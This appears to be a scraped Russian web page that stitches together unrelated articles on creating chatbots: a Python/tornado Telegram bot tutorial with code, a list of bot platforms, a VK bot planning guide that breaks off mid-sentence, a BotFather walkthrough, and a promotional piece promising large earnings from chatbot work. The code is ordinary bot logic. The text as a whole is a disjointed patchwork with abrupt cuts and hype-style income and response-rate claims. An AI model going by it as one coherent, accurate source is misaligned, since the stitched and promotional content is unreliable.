Создание бота: Robochat.io — создайте бота для ВКонтакте бесплатно

Содержание

Создание бота для Telegram без навыков программирования — Selectel — статьи, вакансии, фото, контакты на vc.ru

{"id":22593,"url":"https:\/\/vc.ru\/selectel\/22593-howto-bot-selectel","title":"\u0418\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f: \u0421\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0431\u043e\u0442\u0430 \u0434\u043b\u044f Telegram \u0431\u0435\u0437 \u043d\u0430\u0432\u044b\u043a\u043e\u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f","services":{"facebook":{"url":"https:\/\/www.facebook.com\/sharer\/sharer.php?u=https:\/\/vc.ru\/selectel\/22593-howto-bot-selectel","short_name":"FB","title":"Facebook","width":600,"height":450},"vkontakte":{"url":"https:\/\/vk.com\/share.php?url=https:\/\/vc.ru\/selectel\/22593-howto-bot-selectel&title=\u0418\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f: \u0421\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0431\u043e\u0442\u0430 \u0434\u043b\u044f Telegram \u0431\u0435\u0437 \u043d\u0430\u0432\u044b\u043a\u043e\u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f","short_name":"VK","title":"\u0412\u041a\u043e\u043d\u0442\u0430\u043a\u0442\u0435","width":600,"height":450},"twitter":{"url":"https:\/\/twitter.com\/intent\/tweet?url=https:\/\/vc.ru\/selectel\/22593-howto-bot-selectel&text=\u0418\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f: \u0421\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0431\u043e\u0442\u0430 \u0434\u043b\u044f Telegram \u0431\u0435\u0437 \u043d\u0430\u0432\u044b\u043a\u043e\u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f","short_name":"TW","title":"Twitter","width":600,"height":450},"telegram":{"url":"tg:\/\/msg_url?url=https:\/\/vc.ru\/selectel\/22593-howto-bot-selectel&text=\u0418\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f: \u0421\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0431\u043e\u0442\u0430 \u0434\u043b\u044f Telegram \u0431\u0435\u0437 \u043d\u0430\u0432\u044b\u043a\u043e\u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f","short_name":"TG","title":"Telegram","width":600,"height":450},"odnoklassniki":{"url":"http:\/\/connect.ok.ru\/dk?st.cmd=WidgetSharePreview&service=odnoklassniki&st.shareUrl=https:\/\/vc.ru\/selectel\/22593-howto-bot-selectel","short_name":"OK","title":"\u041e\u0434\u043d\u043e\u043a\u043b\u0430\u0441\u0441\u043d\u0438\u043a\u0438","width":600,"height":450},"email":{"url":"mailto:?subject=\u0418\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f: \u0421\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0431\u043e\u0442\u0430 \u0434\u043b\u044f Telegram \u0431\u0435\u0437 \u043d\u0430\u0432\u044b\u043a\u043e\u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f&body=https:\/\/vc.ru\/selectel\/22593-howto-bot-selectel","short_name":"Email","title":"\u041e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043d\u0430 \u043f\u043e\u0447\u0442\u0443","width":600,"height":450}},"isFavorited":false}

441 570 просмотров

Как создавать ботов в Telegram / Хабр

24 июня разработчики Telegram открыли платформу для создания ботов. Новость кого-то обошла стороной Хабр, однако многие уже начали разрабатывать викторины. При этом мало где указаны хоть какие-то примеры работающих ботов.

Прежде всего, бот для Telegram — это по-прежнему приложение, запущенное на вашей стороне и осуществляющее запросы к Telegram Bot API. Причем API довольное простое — бот обращается на определенный URL с параметрами, а Telegram отвечает JSON объектом.

Рассмотрим API на примере создания тривиального бота:

1. Регистрация


Прежде чем начинать разработку, бота необходимо зарегистрировать и получить его уникальный id, являющийся одновременно и токеном. Для этого в Telegram существует специальный бот — @BotFather.

Пишем ему /start и получаем список всех его команд.
Первая и главная — /newbot — отправляем ему и бот просит придумать имя нашему новому боту. Единственное ограничение на имя — оно должно оканчиваться на «bot». В случае успеха BotFather возвращает токен бота и ссылку для быстрого добавления бота в контакты, иначе придется поломать голову над именем.

Для начала работы этого уже достаточно. Особо педантичные могут уже здесь присвоить боту аватар, описание и приветственное сообщение.

Не забудьте проверить полученный токен с помощью ссылки api.telegram.org/bot<TOKEN>/getMe, говорят, не всегда работает с первого раза.

2. Программирование


Создавать бота буду на Python3, однако благодаря адекватности этого языка алгоритмы легко переносятся на любой другой.

Telegram позволяет не делать выгрузку сообщений вручную, а поставить webHook, и тогда они сами будут присылать каждое сообщение. Для Python, чтобы не заморачиваться с cgi и потоками, удобно использовать какой-нибудь реактор, поэтому я для реализации выбрал tornado.web. (для GAE удобно использовать связку Python2+Flask)

Каркас бота:

URL = "https://api.telegram.org/bot%s/" % BOT_TOKEN
MyURL = "https://example.com/hook"

api = requests.Session()
application = tornado.web.Application([
    (r"/", Handler),
])

if __name__ == '__main__':
    signal.signal(signal.SIGTERM, signal_term_handler)
    try:
        set_hook = api.get(URL + "setWebhook?url=%s" % MyURL)
        if set_hook.status_code != 200:
            logging.error("Can't set hook: %s. Quit." % set_hook.text)
            exit(1)
        application.listen(8888)
        tornado.ioloop.IOLoop.current().start()
    except KeyboardInterrupt:
        signal_term_handler(signal.SIGTERM, None)

Здесь мы при запуске бота устанавливаем вебхук на наш адрес и отлавливаем сигнал выхода, чтобы вернуть поведение с ручной выгрузкой событий.

Приложение торнадо для обработки запросов принимает класс tornado.web.RequestHandler, в котором и будет логика бота.

class Handler(tornado.web.RequestHandler):
        def post(self):
            try:
                logging.debug("Got request: %s" % self.request.body)
                update = tornado.escape.json_decode(self.request.body)
                message = update['message']
                text = message.get('text')
                if text:
                    logging.info("MESSAGE\t%s\t%s" % (message['chat']['id'], text))

                    if text[0] == '/':
                        command, *arguments = text.split(" ", 1)
                        response = CMD.get(command, not_found)(arguments, message)
                        logging.info("REPLY\t%s\t%s" % (message['chat']['id'], response))
                        send_reply(response)
            except Exception as e:
                logging.warning(str(e))

Здесь CMD — словарь доступных команд, а send_reply — функция отправки ответа, которая на вход принимает уже сформированный объект Message.

Собственно, её код довольно прост:

def send_reply(response):
    if 'text' in response:
        api.post(URL + "sendMessage", data=response)

Теперь, когда вся логика бота описана можно начать придумывать ему команды.

3. Команды


Перво-наперво, необходимо соблюсти соглашение Telegram и научить бота двум командам: /start и /help:
def help_message(arguments, message):
    response = {'chat_id': message['chat']['id']}
    result = ["Hey, %s!" % message["from"].get("first_name"),
              "\rI can accept only these commands:"]
    for command in CMD:
        result.append(command)
    response['text'] = "\n\t".join(result)
    return response

Структура message['from'] — это объект типа User, она предоставляет боту информацию как id пользователя, так и его имя. Для ответов же полезнее использовать message['chat']['id'] — в случае личного общения там будет User, а в случае чата — id чата. В противном случае можно получить ситуацию, когда пользователь пишет в чат, а бот отвечает в личку.

Команда /start без параметров предназначена для вывода информации о боте, а с параметрами — для идентификации. Полезно её использовать для действий, требующих авторизации.

После этого можно добавить какую-нибудь свою команду, например, /base64:

def base64_decode(arguments, message):
    response = {'chat_id': message['chat']['id']}
    try:
        response['text'] = b64decode(" ".join(arguments).encode("utf8"))
    except:
        response['text'] = "Can't decode it"
    finally:
        return response

Для пользователей мобильного Telegram, будет полезно сказать @BotFather, какие команды принимает наш бот:
I: /setcommands
BotFather : Choose a bot to change the list of commands.
I: @******_bot
BotFather: OK. Send me a list of commands for your bot. Please use this format:

command1 - Description
command2 - Another description
I:
whoisyourdaddy - Information about author
base64 - Base64 decode
BotFather: Success! Command list updated. /help

C таким описанием, если пользователь наберет /, Telegram услужливо покажет список всех доступных команд.

4. Свобода


Как можно было заметить, Telegram присылает сообщение целиком, а не разбитое, и ограничение на то, что команды начинаются со слеша — только для удобства мобильных пользователей. Благодаря этому можно научить бота немного говорить по-человечески.

UPD: Как верно подсказали, такое пройдет только при личном общении. В чатах боту доставляются только сообщения, начинающиеся с команды (/<command>) (https://core.telegram.org/bots#privacy-mode)

  • All messages that start with a slash ‘/’ (see Commands above)
  • Messages that mention the bot by username
  • Replies to the bot's own messages
  • Service messages (people added or removed from the group, etc.)

Чтобы бот получал все сообщения в группах пишем @BotFather команду /setprivacy и выключаем приватность.

Для начала в Handler добавляем обработчик:

if text[0] == '/':
    ...
else:
    response = CMD["<speech>"](message)
    logging.info("REPLY\t%s\t%s" % (message['chat']['id'], response))
    send_reply(response)

А потом в список команд добавляем псевдо-речь:
RESPONSES = {
    "Hello": ["Hi there!", "Hi!", "Welcome!", "Hello, {name}!"],
    "Hi there": ["Hello!", "Hello, {name}!", "Hi!", "Welcome!"],
    "Hi!": ["Hi there!", "Hello, {name}!", "Welcome!", "Hello!"],
    "Welcome": ["Hi there!", "Hi!", "Hello!", "Hello, {name}!",],
}
def human_response(message):
    leven = fuzzywuzzy.process.extract(message.get("text", ""), RESPONSES.keys(), limit=1)[0]
    response = {'chat_id': message['chat']['id']}
    if leven[1] < 75:
        response['text'] = "I can not understand you"
    else:
        response['text'] = random.choice(RESPONSES.get(leven[0])).format_map(
            {'name': message["from"].get("first_name", "")}
        )
    return response

Здесь эмпирическая константа 75 относительно неплохо отражает вероятность того, что пользователь всё-таки хотел сказать. А format_map — удобна для одинакового описания строк как требующих подстановки, так и без нее. Теперь бот будет отвечать на приветствия и иногда даже обращаться по имени.

5. Не текст.


Боты, как и любой нормальный пользователь Telegram, могут не только писать сообщения, но и делиться картинками, музыкой, стикерами.

Для примера расширим словарь RESPONSES:

RESPONSES["What time is it?"] = ["<at_sticker>", "{date} UTC"]

И будем отлавливать текст :
if response['text'] == "<at_sticker>": response['sticker'] = "BQADAgADeAcAAlOx9wOjY2jpAAHq9DUC" del response['text']

Видно, что теперь структура Message уже не содержит текст, поэтому необходимо модифицировать send_reply:
def send_reply(response):
    if 'sticker' in response:
        api.post(URL + "sendSticker", data=response)
    elif 'text' in response:
        api.post(URL + "sendMessage", data=response)

И все, теперь бот будет время от времени присылать стикер вместо времени:

6. Возможности


Благодаря удобству API и быстрому старту боты Telegram могут стать хорошей платформой для автоматизации своих действий, настройки уведомлений, создания викторин и task-based соревнований (CTF, DozoR и прочие).

Вспоминая статью про умный дом, могу сказать, что теперь извращений меньше, а работа прозрачнее.

7. Ограничения


К сожалению, на данный момент существует ограничение на использование webHook — он работает только по https и только с валидным сертификатом, что, например для меня пока критично за счет отсутствия поддержки сертифицирующими центрами динамических днс.

К счастью, Telegram также умеет работать и по ручному обновлению, поэтому не меняя кода можно создать еще одну службу Puller, которая будет выкачивать их и слать на локальный адрес:

while True:
            r = requests.get(URL + "?offset=%s" % (last + 1))
            if r.status_code == 200:
                for message in r.json()["result"]:
                    last = int(message["update_id"])
                    requests.post("http://localhost:8888/",
                                  data=json.dumps(message),
                                  headers={'Content-type': 'application/json',
                                           'Accept': 'text/plain'}
                     )
            else:
                logging.warning("FAIL " + r.text)
            time.sleep(3)

P.S. По пункту 7 нашел удобное решение — размещение бота не у себя, а на heroku, благо все имена вида *.herokuapp.com защищены их собственным сертификатом.

UPD: Telegram улучшили Бот Апи, из-за чего, теперь не обязательно иметь отдельную функцию для отправки сообщений при установленном вебхуке, а в ответ на POST запрос можно отвечать тем же сформированным JSON с ответным сообщением, где одно из полей устанавливается как ч 'method': 'sendMessage' (или любой другой метод, используемый ботом).

8 инструментов для создания личного или делового чат бота

Переписываться любят все. Мессенджеры теперь повсюду, и скорее всего ваш клиент пользуется хотя бы одним из следующих:

  • WhatsApp
  • Facebook Messenger
  • WeChat
  • Skype
  • LINE
  • Slack
  • QQ Mobile
  • и множество других…

Я думаю, вы со мной согласны. А если нет, то взгляните на данные Statista об использовании приложений для обмена сообщениями на мобильных устройствах.

Станьте частью нового мира и воспользуйтесь чат ботом. Обслуживание, поддержка и восприятие ваших клиентов полностью изменятся.

Давайте разберемся, что же такое виртуальный собеседник или чат бот. Это программа, предназначенная для поддержания диалога с человеком через чат.

Можно обучить/настроить чат бота, чтобы он отвечал клиентам вместо вас. Чат бот может понять язык человека и сгенерировать логичный ответ.

Возможности для автоматизации с помощью чат бота весьма обширны, например:

  • FAQ — c помощью чат бота можно настроить ответы на часто задаваемые вопросы;
  • отслеживание доставки заказа — чат бот сможет ответить на вопросы о статусе заказа;
  • электронная торговля — с помощью виртуального собеседника можно заинтересовать посетителя вашего сайта и превратить его в вашего клиента.

Вы можете либо разработать программу самостоятельно, либо обратиться к одному из следующих поставщиков услуг.
Платформы для создания ботов:

  1. Morph.ai
  2. Flow XO
  3. Botsify
  4. API.AI
  5. Motion.ai
  6. Chatfuel
  7. Manybot
  8. Recast

Morph.ai


Morph.ai позволяет создать виртуального собеседника за считанные минуты. Теперь поддержку и обслуживание ваших клиентов можно осуществлять через диалоговый интерфейс. Чат бот понимает естественный язык, отвечает кратко и по контексту, может обучаться.

Morph.ai дает полную свободу действий по отношению к содержанию и последовательности сообщений, интерфейсу. Реализована поддержка целого ряда сервисов мгновенных сообщений, включая следующие:

  • Facebook Messenger
  • Twitter
  • Slack
  • Skype
  • LINE
  • SMS

Я создал бота для своей страницы на Facebook, и результат меня поразил.

Кроме всего прочего, Morph можно интегрировать в Shopify, Zendesk, Salesforce, Intercom, использовать с API, хуками, так что нет необходимости вручную экспортировать контакты или данные.

В целом конфигурация виртуального собеседника с помощью панели управления не вызывает затруднений, так что не медлите и приступайте к созданию вашего первого бота.

Flow XO


Flow XO позволяет вам создать и разместить чат бота для различных мессенджеров, в том числе Slack и Telegram. Для использования бота не требуются познания в программировании. Flow OX облегчает задачу интегрирования более чем с 90 сервисами:

Botsify


Botsify представляет возможность создания виртуального собеседника на 100 пользователей в месяц бесплатно. Если вас интересует только чат в Facebook, то стоит попробовать Botsify.

А как быть, если ваш сайт на WordPress? Для таких случаев на Botsify есть специальный плагин. Чтобы оценить пробный вариант, перейдите по ссылке.


Дизайном можете заниматься самостоятельно. Реализована возможность добавления изображений, аудио и других файлов. Доступна интеграция с Medium.

API.AI


При помощи Api.ai создание умного собеседника для Facebook осуществляется за три простых шага.
  1. Разработка — создайте бота;
  2. Подключение — настройте интеграцию с любым серверным приложением;
  3. Запуск — начало работы.

API.AI — полноценное решение для создания обучаемого чат бота, поддерживающее разные платформы, например, Android, HTML, Node.js, iOS, Python, и т.д.

На сегодняшний день программа поддерживает 14 языков и может быть использована с:

  • Slack
  • Skype
  • Twitter
  • Cisco Spark
  • Kik
  • LINE
  • Amazone Alexa
  • Telegram
  • Twilio IP/SMS
  • Microsoft Cortana
  • Agent Demo

Motion.ai


На Motion.ai вы сможете создать 2 чат бота на 1000 сообщений в месяц совершенно бесплатно. И все это не только для Facebook, но и для SMS, различных веб-сервисов, Slack, Smooch и электронной почты.

Приступить к работе можно бесплатно, предоставляется подробная документация.

Chatfuel


Виртуальный собеседник для Facebook будет готов всего за 7 минут и без необходимости в написании кода. Chatfuel пользуются такие гиганты, как UBER, TechCrunch и т.д.

Возможна интеграция с вашими самыми любимыми сервисами, например, Twitter, YouTube, JSON, Instagram и т.д.

Больше всего поражает подход к ценообразованию.

Платформа для создания чат бота совершенно бесплатная!
Здорово, не правда ли?

Manybot


Может быть ваша аудитория использует Telegram? C помощью Manybot вы сможете создать чат бота для Telegram, не написав ни одной строки кода.

Отправляйте текст, изображения и видео подписчикам. Ограничений по длине сообщений нет. Держите бизнес под контролем с помощью персонализированных команд. Наконец, вы также можете настроить автоматическое обновление блога с помощью RSS.

Recast


Разработайте своего виртуального собеседника на Recast. Если вам необходимо, чтобы один чат бот действовал на разных платформах, то скорее всего Recast вас должен заинтересовать.

Чат бот сможет работать на Facebook, Slack, Skype, Kik, и т.д.

Дополнительные варианты:


Надеюсь я помог вам разобраться, как создать виртуального собеседника для бизнеса или личного пользования. У большинства вышеперечисленных приложений есть бесплатные тарифы, так что дерзайте. Я уверен, вам очень понравится.

Подобрать виртуальный сервер или виртуальный хостинг можно на HOSTING.cafe.

План по разработке чат-бота ВКонтакте: функции, устройство, возможности

Если бизнес зависит от коммуникации в социальных сетях, рано или поздно наступает момент, когда не хватает времени и рук для взаимодействия с пользователями. Одно из решений в таком случае – увеличение числа сотрудников. Однако, такой шаг требует повышения расходов, что не всегда возможно.

Выйти из подобной ситуации можно с помощью самостоятельно разработанного чат-бота. Подробно рассказываем о работе с ботами, рассылками, автоворонками в курсе Вовлекай и продавай через мессенджеры от SMM.school.

В этой статье вы узнаете, как оптимизировать рабочие процессы и повысить их эффективность с помощью бота во ВКонтакте. А главное, получите пошаговое руководство по его разработке. Вас ждут примеры и полезные рекомендации.

Что может чат-бот

Эффективность работы чат-бота зависит от ряда факторов и в первую очередь от вашей поддержки. Бот действует на основании заданных команд, поэтому, чтобы он становился лучше, необходимо регулярно работать над его функционалом. Далее мы рассмотрим, с чего начинать создание виртуального помощника и где его конструировать.

А пока давайте разберем, чем чат-бот полезен для бизнеса:

  • вовлекает новых клиентов в диалог с компанией;
  • знакомит с брендом;
  • рассказывает о товарах и услугах;
  • взращивает лиды;
  • конвертирует пользователей в покупателей;
  • допродает;
  • помогает изучать и сегментировать аудиторию;
  • выполняет обязанности команды поддержки;
  • информирует пользователей об обновлениях и акциях.

И это не полный список возможностей чат-бота! Каждая компания самостоятельно прописывает его задачи и настраивает функционал. Так, одни с помощью чат-бота анонсируют мероприятия, а другие – демонстрируют ассортимент товаров и продают.

Виды и примеры чат-ботов

В зависимости от сферы деятельности, поставленных задач, функционала и платформы размещения существует огромное число разновидностей чат-ботов. Тем не менее, большинство из них можно условно разделить на следующие категории:

  1. Персональный помощник. Такие чат-боты выполняют функции ассистента. Некоторые из них поддерживают интеграцию с CRM, могут составлять отчеты и анализировать данные. Другие помогают изучать иностранный язык, планировать работу и подбирать комплекты одежды.
  2. Бот-консультант. С его помощью клиентам предоставляют необходимую информацию о компании, ее деятельности и продуктах. В процессе диалога чат-бот выявляет заинтересованных потенциальных покупателей и затем передает контакты менеджеру или службе поддержки.
  3. Бот-менеджер. В отличие от консультанта, этот бот может продавать самостоятельно. Он не только предоставляет всю информацию о продукте, но и принимает заказы. В случае возникновения сложностей способен передать контакт клиента менеджеру.
  4. Развлекательный чат-бот. Компании используют таких ботов, чтобы привлечь внимание новых пользователей, установить с ними эмоциональную связь и при дальнейшей коммуникации конвертировать их в клиентов.
  5. Информационный чат-бот. Его основная задача — распространение новостей. Таких ботов подключают газеты, журналы, радио, телеканалы и другие средства массовой информации.

Теперь детально рассмотрим работу и возможности чат-ботов на примерах.

Ниже вы видите чат-бота компании Сувлаки, которая готовит и доставляет греческие блюда. Чат-бот предоставляет пользователям меню и помогает просчитать стоимость заказа.

Чат-бот Сувлаки

Чат-бот сайта DARENDA.RU помогает найти квартиру в Москве, а затем перенаправляет пользователя на сайт, чтобы он мог посмотреть фотографии и узнать подробности. Обратите внимание: есть возможность задать условие поиска на основании стоимости жилья, качества ремонта и удаленности от метро.

Чат-бот аренды квартир

Чат-бот Лиза проводит интересные экскурсии для посетителей Эрмитажа. Продуманные диалоги погружают в атмосферу таинства и вовлекают в захватывающее путешествие. Получается, чат-бот может быть не только продавцом или консультантом, но и гидом: Лиза сопровождает посетителей на протяжении всей экскурсии и рассказывает о представленных в Эрмитаже экспонатах.

Чат-бот Эрмитажа

Можно ли с помощью чат-бота привлекать клиентов на онлайн-курсы или вебинары? Однозначно, да. Посмотрите, как это делает концепт-художник Дмитрий Клюшкин. Чат-бот помогает потенциальным клиентам узнать больше о курсе и его авторе, а также рассказывает о стоимости и условиях оплаты.

Обратите внимание: чат-бот позволяет вернуться на шаг назад или в главное меню после каждого выбранного пункта. Такую возможность всегда необходимо предоставлять подписчикам независимо от вида бота и сферы деятельности.

Чат-бот онлайн-курса

Как разработать чат-бота: пошаговый план

Когда чат-боты только появились на рынке, их разработкой занимались только программисты и заказ стоил довольно дорого. Поэтому, представители малого и даже среднего бизнеса могли только мечтать о своем боте. Сегодня картина в корне изменилась и вы вполне можете обойтись без команды разработчиков и крупных расходов. Вот как это сделать.

Шаг 1. Установите цели

Подумайте, какие функции вы можете переложить на своего будущего виртуального помощника. Для этого проанализируйте работу службы поддержки и менеджеров, чтобы выявить рутинные задачи. Для поиска функций помогут ответы на следующие вопросы:

  • Зачем вам нужен чат-бот?
  • Какую пользу он будет нести клиентам и потенциальным покупателям?
  • Что он должен для этого уметь?

Шаг 2. Продумайте сценарий и архитектуру чат-бота

Вам понадобится программа вроде MindMap или XMind. Сначала подготовьте приветственное сообщение, которое пользователь у

🖥 Как создать бота в Телеграм — пошаговая инструкция

Разберемся, как легко и быстро создать Телеграм-бота

Многие рутинные процессы в Телеграм можно автоматизировать. В связи с этим у пользователей часто возникает вопрос о том, как создать бота в Телеграм.

Эти знания будут полезными тем, кто только начинает осваивать мессенджер, а также могут пригодиться владельцам раскрученных аккаунтов. Еще не все знаете о ботах?

Начнем разбираться по порядку.

Содержание:

 

Бот в Телеграм: что это

На этот вопрос можно ответить одним словом: это робот. Он выполняет то, что записано в его программе.

Боты могут совершать разные действия: от самых простых (ответить на приветствие, поддержать диалог по прописанному сценарию, сообщить курс валют) до более-менее сложных (сыграть с пользователем в игру, подобрать список новостей).

Чтобы узнать подробнее о том, как работают роботы в Телеграм, рекомендуем нашу подробную статью.

Для организации бизнеса в Телеграм создание ботов — настоящее спасение. Они сокращают трудозатраты и вполне способны разгрузить или вовсе заменить несколько сотрудников сразу.

Многие думают, что создать такого робота сможет только программист. Это правда, но только отчасти.

Спешим вас переубедить: простого Телеграм-бота можно собрать за несколько минут самостоятельно без знания языков программирования и кода.

Как создать бота в Телеграм

Подготовительный этап

Прежде чем приступить к процессу со здания, сначала определитесь, для каких целей будет служить Телеграм-робот и какие именно задачи будет выполнять.

Лучше все это нарисовать в виде схемы, чтобы не запутаться и ничего не забыть.

Прорисовка алгоритма — важный этап, который нужно пройти, прежде чем создать бота в Телеграм. Не пренебрегайте им!

Блок-схема — важный помощник в создании Телеграм-бота

Просто нарисуйте блоки с текстом и стрелочками, чтобы прописать все ответы бота на действия пользователя. По своему опыту скажем, что это значительно упрощает дальнейшие попытки создать и настроить работу бота.

Полезным также будет посмотреть, как работают другие боты из вашей тематики. Для этого порекомендуем два способа:

Пошаговый алгоритм, как создать бота для Телеграм

Для того чтобы создать бота, удобно пользоваться версией мессенджера для компьютера или же веб-версией. С мобильных устройств это тоже абсолютно реально, но опыт показывает, что Телеграм для ПК оказывается практичнее.

Перейдем к пошаговому процессу создания

После прохождения подготовки, необходимо идти строго по сценарию:

  • Перейти по прямой ссылке или найти через поисковую строку прародителя всех роботов Телеграм: @BotFather. Просто скопируйте это название вместе с символом @.
  • Кликните по нему и нажмите “Запустить”.
  • Телеграм-робот отправит вам целый список команд. На первом этапе нас будет интересовать самая первая из них: /newbot. Щелкаем по ней.
  • Дальше в строке ввода текста напишите, как будет называться ваш робот.

Постарайтесь подойти к заданию творчески, так как самые релевантные названия наверняка уже будут кем-то заняты.

  • Выберите имя. Обратите внимание, в конце обязательно должны быть буквы bot.
  • Затем BotFather предложит загрузить аватарку для Телеграм-бота и придумать его описание. В этом же сообщении вам будет выслан токен API.

Наш совет: на всякий случай скопируйте эту комбинацию из цифр и букв в какой-нибудь текстовый файлик, чтобы не потерять.

На этом этапе вас уже можно поздравить с созданием собственного робота. Осталось совсем немного — завершить его настройку.

Продолжаем:

  • Добавляем Телеграм-бота командой /addbot.
  • Копируем и отправляем высланный @BotFather токен.
  • Пишем, для чего предназначен наш бот.

В принципе, здесь работа по созданию заканчивается. Можно сразу настроить автопостинг из соцсетей: /autoposting.

Рекомендуем нашу статью о Телеграм-ботах для накрутки лайков и сохранения фотографий из соцсети Instagram.

Дальше предстоит настроить бота на выполнение конкретных действий. Для этого просто начинаем диалог с ним.

Пробовали ли вы самостоятельно создать ботов?Poll Options are limited because JavaScript is disabled in your browser.

Как создать бота в Телеграм: что еще нужно знать

Важно помнить, что успешных ботов периодически пытаются взломать. Подробнее о взломе Телеграм-ботов читайте в нашей статье.

Создать бота можно не только в Телеграм. Уже существуют самостоятельные сервисы, работа с которыми позволяет максимально упростить настройку роботов.

Чтобы понять, стоит ли доверять таким ресурсам, воспользуйтесь советом команды Телеграм: доверять сторонним порталам так же, как вы доверяете незнакомцам.

Поэтому передавать свои личные данные следует очень осторожно. Если неприятность все-таки произошла и есть риск утечки данных, можно удалить свою страницу.

Однако в таком случае вы не сможете восстановить свои права собственности на ботов и каналы, если таковые создавали.

Поговорим про сторонние сервисы, которые помогают создать Телеграм-ботов

Мы не агитируем использовать ни один из сервисов, поскольку создать бота можно при помощи встроенных возможностей Телеграм, а также потому, что сами не тестировали их.

Расскажем о каждом из них подробнее:

Основное направление сервиса — создание ботов для организации бизнес-процессов. Пользоваться им можно бесплатно, правда, функционал будет очень ограничен.

Это еще один конструктор для того, чтобы создать роботов. Как говорят создатели проекта, на обучение бота уйдет не более 8 минут. Здесь можно получить кучу возможностей бесплатно.

  • Для тех, кто решил всерьез заняться продажами в Телеграм, советуем присмотреться к @botoboto_bot.

Этот робот подскажет, как создать полноценную витрину товаров в Телеграм. Существует еще и сайт сервиса: здесь можно посмотреть стоимость тарифов и впоследствии отслеживать заказы в личном кабинете.

Если вы занимаетесь продажами в мессенджере, рекомендуем прочесть обо всех секретах создания и продвижения Телеграм-каналов.

Надеемся, наша статья оказалась полезной! Делитесь в комментариях своими ботами и добавляйте их в наш Каталог


Как создать чат бота самому и заработать более 150 000р – Лайфхакер

Вы давно хотели узнать, как создать чат бота? Или случайно попали на наш сайт? В любом случае, поздравляем! Эта статья как раз посвящена конструкторам чат-ботов и тонкостям их создания! Мы расскажем про умные программы-боты и покажем, как получать гарантированный доход на этой теме.

Не верьте тем, кто говорит, что для разработки чат-бота нужны специальные навыки. И что якобы эту “науку” не каждый сможет осилить. Знаете, сколько нужно времени, чтобы научиться создавать боты? От 3 до 7 дней!

Разработать чат-бот может любой заинтересованный человек, будь то студент, бизнесмен или молодая мамочка в декрете.

Эта статья даст вам необходимые знания по тематике чат-ботов, расскажет, для чего они нужны, кто ими пользуется и почему это направление представляется настолько востребованным. Для вас откроются тайны нового инструмента продаж. Результаты от внедрения чат-ботов превосходят все ожидания заказчика, и за работу грамотных специалистов бизнесмены готовы переплачивать в разы.

Содержание

  • 1 Что это за термин такой – чат-бот?
  • 2 Чат-боты вокруг нас: почему они стали популярны?
  • 3 Разновидности ботов
    • 3.1 Чат-бот АГРЕГАТОР
    • 3.2 Чат-бот ИНФОРМ БЮРО
    • 3.3 Чат-бот ИНТЕРНЕТ-МАГАЗИН
    • 3.4 Чат-бот ЦЕЛЕВОЙ
    • 3.5 Чат-бот ПЕРСОНАЛЬНЫЙ
    • 3.6 Чат-бот ФУНКЦИОНАЛЬНЫЙ
  • 4 Кому подходит ниша создания ботов?
  • 5 Как же сделать бота для мессенджера?
  • 6 Выгоды внедрения бота в бизнес
  • 7 Какой функционал можно добавить боту?
  • 8 Как бизнес зарабатывает на чат ботах
  • 9 Разработчик чат-ботов – профессия будущего
    • 9.1 Что такое ChatForma?
    • 9.2 Интенсив chatforma: 2 в одном
    • 9.3 Что такое автоворонка продаж?
    • 9.4 Как монетизировать полученные навыки?
    • 9.5 Сколько стоит один чат-бот?
    • 9.6 Сколько денег в месяц можно заработать на разработке чат-ботов?
    • 9.7 Можно ли совмещать разработку чат-ботов с основным местом работы?
    • 9.8 Смогу ли я продать свои услуги, если я не умею продавать?
    • 9.9 Что я покажу потенциальному клиенту, если у меня нет своих кейсов?
  • 10 Сколько можно заработать на чат-ботах?
  • 11 Заключение

Что это за термин такой – чат-бот?

Сделаем небольшой экскурс в само понятие чат-ботов.

Чат-бот – это топовый инструмент, с помощью которого можно решить ряд основных вопросов компании. Эти вопросы касаются консультирования, поддержания контактов и увеличения продаж.

Прочтите отзывы о внедрении в бизнес этих маленьких виртуальных помощников. Кейсы показывают, что вклад чат-ботов в каждом случае – вполне ощутимый. Если интернет-рассылка приносит отклик в среднем на 15-20 писем из 100, то показатели чат-ботов значительно выше – это 70-85 ответов из тех же 100 мессенджей.

Вернемся к теории, чат-бот – это специальная программа, которая работает на основе мессенджера. На сегодняшний день это – Facebook, Viber, Telegram – три самых популярных и не столь распространенные в России – Slack и Allo.

В наши дни к помощи виртуального консультанта прибегает все больше крупных компаний и холдингов. Например, такие акулы бизнеса, как H&M, BurgerKing и прочие успешно внедряют в свои структуры чат-боты.

Все еще непонятно как это работает? Чтобы не быть голословными, мы прикрепим небольшие принт-скрины того, как это выглядит на практике.

Достаточно просто, правда?

Этот умный помощник предлагает не только найти по запросу определенную часть гардероба – майку, джинсы, куртку, – все что угодно. К выбранной вещи вам могут помочь собрать полный образ или подобрать аксессуар. Ко всему прочему, если вы захотите узнать мнение друга, программка-помощник предложит отправить адресату выбранный комплект на обсуждение.

Принципиально функционал ботов ограничивается только технической возможностью и вашей фантазией. Это интересное и нестандартное решение, которое однозначно принесет вам больше выгоды, чем полноценный штат продажников и интернет-рассылка.

Чат-боты, которые существуют сейчас, созданы совсем в другом концептуальном подходе. Во-первых, это полностью управляемый администратором инструмент. Во-вторых, к нему можно обратиться, и он не будет сам навязывать свое общение. Мобильный помощник, который находится на вашем устройстве, помогает найти ответы на заложенные в базу данных чат-бота вопросы. И это очень удобно!

